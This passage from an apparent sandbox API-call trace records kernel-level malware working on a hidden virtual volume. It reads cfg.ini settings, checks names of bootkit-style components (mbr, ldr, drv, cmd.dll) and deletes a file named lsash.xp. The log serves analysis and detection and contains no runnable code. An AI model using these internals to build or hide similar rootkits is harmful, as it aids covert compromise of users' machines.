Context=0x0) returned 0x0 [0118.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.937] KeLeaveCriticalRegion () [0118.937] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.937] KeEnterCriticalRegion () [0118.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.937] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.937] IdePortDispatch () returned 0x103 [0118.937] KeWaitForMutexObject () returned 0x0 [0118.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.937] KeLeaveCriticalRegion () [0118.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.937] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.937] KeEnterCriticalRegion () [0118.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.937] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c45000 [0118.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.938] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.938] IdePortDispatch () returned 0x103 [0118.938] KeWaitForMutexObject () returned 0x0 [0118.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.938] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.938] IdePortDispatch () returned 0x103 [0118.938] KeWaitForMutexObject () returned 0x0 [0118.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.938] KeLeaveCriticalRegion () [0118.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.939] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.939] KeEnterCriticalRegion () [0118.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.939] KeLeaveCriticalRegion () [0118.939] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.939] KeEnterCriticalRegion () [0118.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.939] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.939] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.939] KeLeaveCriticalRegion () [0118.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.939] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.939] KeEnterCriticalRegion () [0118.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.940] ExFreePoolWithTag (P=0xfffffa8003bcee10, Tag=0x0) [0118.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.940] KeLeaveCriticalRegion () [0118.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.940] ReleaseMutex (hMutex=0xf0) returned 1 [0118.940] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.940] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.940] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.940] KeEnterCriticalRegion () [0118.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.940] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.940] IdePortDispatch () returned 0x103 [0118.940] KeWaitForMutexObject () returned 0x0 [0118.940] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.940] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.940] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.940] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.940] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.940] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa62a0 [0118.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.940] KeLeaveCriticalRegion () [0118.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.941] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.941] KeEnterCriticalRegion () [0118.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.941] KeLeaveCriticalRegion () [0118.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.941] KeEnterCriticalRegion () [0118.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.941] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.941] IdePortDispatch () returned 0x103 [0118.941] KeWaitForMutexObject () returned 0x0 [0118.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.941] KeLeaveCriticalRegion () [0118.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.941] KeEnterCriticalRegion () [0118.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c46000 [0118.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.942] IdePortDispatch () returned 0x103 [0118.942] KeWaitForMutexObject () returned 0x0 [0118.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.942] IdePortDispatch () returned 0x103 [0118.943] KeWaitForMutexObject () returned 0x0 [0118.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.943] KeLeaveCriticalRegion () [0118.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.943] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.943] KeEnterCriticalRegion () [0118.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.943] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.943] KeLeaveCriticalRegion () [0118.943] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.943] KeEnterCriticalRegion () [0118.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.943] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.943] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.944] KeLeaveCriticalRegion () [0118.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.944] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.944] KeEnterCriticalRegion () [0118.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.944] ExFreePoolWithTag (P=0xfffffa8003aa62a0, Tag=0x0) [0118.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.944] KeLeaveCriticalRegion () [0118.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.944] ReleaseMutex (hMutex=0xf0) returned 1 [0118.944] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.944] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.944] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.944] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.944] KeEnterCriticalRegion () [0118.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.944] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.944] IdePortDispatch () returned 0x103 [0118.945] KeWaitForMutexObject () returned 0x0 [0118.945] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.945] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.945] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.945] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.945] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.945] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.945] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.945] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.945] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.945] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.945] KeLeaveCriticalRegion () [0118.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.945] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.945] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.945] KeEnterCriticalRegion () [0118.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.945] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.945] IdePortDispatch () returned 0x103 [0118.946] KeWaitForMutexObject () returned 0x0 [0118.946] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.946] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.946] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.946] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.946] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.946] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.946] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.946] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.946] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.946] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.946] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.946] KeLeaveCriticalRegion () [0118.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.946] ReleaseMutex (hMutex=0x100) returned 1 [0118.946] Sleep (dwMilliseconds=0x2bf20) [0118.955] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a186c30, dwHighDateTime=0x1d24fa4)) [0118.955] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.955] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.955] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.955] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.955] KeEnterCriticalRegion () [0118.955] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.955] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.955] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.955] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.955] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.955] IdePortDispatch () returned 0x103 [0118.955] KeWaitForMutexObject () returned 0x0 [0118.955] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.956] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.956] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.956] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.956] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.956] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcee10 [0118.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.956] KeLeaveCriticalRegion () [0118.956] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.956] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.956] KeEnterCriticalRegion () [0118.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.956] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.956] KeLeaveCriticalRegion () [0118.956] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.956] KeEnterCriticalRegion () [0118.956] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.956] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.956] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.956] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.956] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.956] IdePortDispatch () returned 0x103 [0118.956] KeWaitForMutexObject () returned 0x0 [0118.956] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.956] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.956] KeLeaveCriticalRegion () [0118.957] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.957] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.957] KeEnterCriticalRegion () [0118.957] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.957] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c49000 [0118.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.957] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.957] IdePortDispatch () returned 0x103 [0118.957] KeWaitForMutexObject () returned 0x0 [0118.957] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.957] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.957] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.957] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.957] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.957] IdePortDispatch () returned 0x103 [0118.958] KeWaitForMutexObject () returned 0x0 [0118.958] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.958] KeLeaveCriticalRegion () [0118.958] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.958] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.959] KeEnterCriticalRegion () [0118.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.959] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.959] KeLeaveCriticalRegion () [0118.959] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.959] KeEnterCriticalRegion () [0118.959] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.959] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.959] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.959] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | 